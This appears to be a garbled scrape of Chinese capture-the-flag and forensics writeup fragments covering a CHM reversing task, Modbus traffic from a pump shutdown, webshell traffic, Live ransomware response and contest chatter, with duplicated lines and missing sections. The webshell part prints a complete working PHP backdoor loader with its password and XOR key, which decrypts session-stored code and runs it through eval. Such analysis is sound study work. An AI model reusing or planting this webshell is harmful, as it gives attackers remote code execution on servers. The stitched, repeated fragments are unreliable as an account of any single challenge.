Reverse - 3_idiots
CHM
chm 格式是 Windows 经过编译的帮助手册文件。用内置帮助浏览器打开会提示有不安全内容,于是进行解压:
hh -decompile ./output ./3_idiots.chm
chm 格式是 Windows 经过编译的帮助手册文件。用内置帮助浏览器打开会提示有不安全内容,于是进行解压:
hh -decompile ./output ./3_idiots.chm
这个流量包混杂了无用流量与其他地方的数据,因此需要先简单分析各个 IP 可能对应设备的用途:
题目要求找出关泵相关信息(从稍后放出的描述更新中得知 flag{0xtransaction_id_0xfunction_code_0xcoil_address}),具有明显的 Modbus 特征,因此过滤出这类协议的流量。过滤后的结果中多为读取操作,只有一条写操作出现:
一个 Webshell 流量包,有大量的 HTTP/TCP 流量记录,进行追踪(这里以最后一个流为例);攻击者使用 pass 传入经过 Base64 编码与反转的参数,解码后如下:
# 1qaz2wsx3edc=eu1uNDRjMzYyYjz+u2uwAH1mNsWC9MvudxUD4GxD2vZHYhmcslPc4AT6kvwn72TiprEftRcyZvWaASZ2twUSoSXCZHZrgXp1OrZJTzbT5eJdLiAUCd1+qUmpgl2Orlfucw+sWVNIRc8GzsXv8ODt4jV5jXn/LQCpCbmD2OihJd4HtL0BEOlzQGrMYUiFNRFgou2Zmus5JThj7ts0VATS5/BmZjQ=
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='1qaz2wsx3edc';
$payloadName='payload';
$key='0eff44c362b13fa2';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
很不巧,这次比赛正好卡上开学返校的点,无论从做题还是 Writeup 来说都有些匆忙;基本所有题目都是在火车上做的你敢信?!
附件分类
简单分析环境,发现被加密的文件扩展名均为 .LIVE,由此在应急响应网站上搜索,得到病毒家族为 Live。
其实从上个月开始平台就支持基于远程连接的靶机环境应急响应了,但是很可惜那天考试没能去做qwq
不过这次月赛给的题量也够大,爽赤😃👍
附件分类
附件分类
题目短小精悍,同时也不是太难,冲榜很大程度上靠手速(因此也是很惊险刺激hh)。
当月赛遇上周末调休...有点五味杂陈啊,不过比赛还是得打的嘛~
附件分类
题目总体还好,基本上是经典的取证类型(难度中等左右)。因为 Flag 格式没有明确的问题,耽误了一点时间。
窃密排查个人觉得思路会比较清奇,可能是凭据的重复利用,或者是对数据解码解密。
逆向题看起来应该挺简单的(随机数种子+其他),不过反编译代码看着确实头疼,就没咋做(其实多花点时间能做上的吧)。
固定 15 分的签到题,一开始还以为这个 AI 很难对付,后来发现密钥直接给出来了: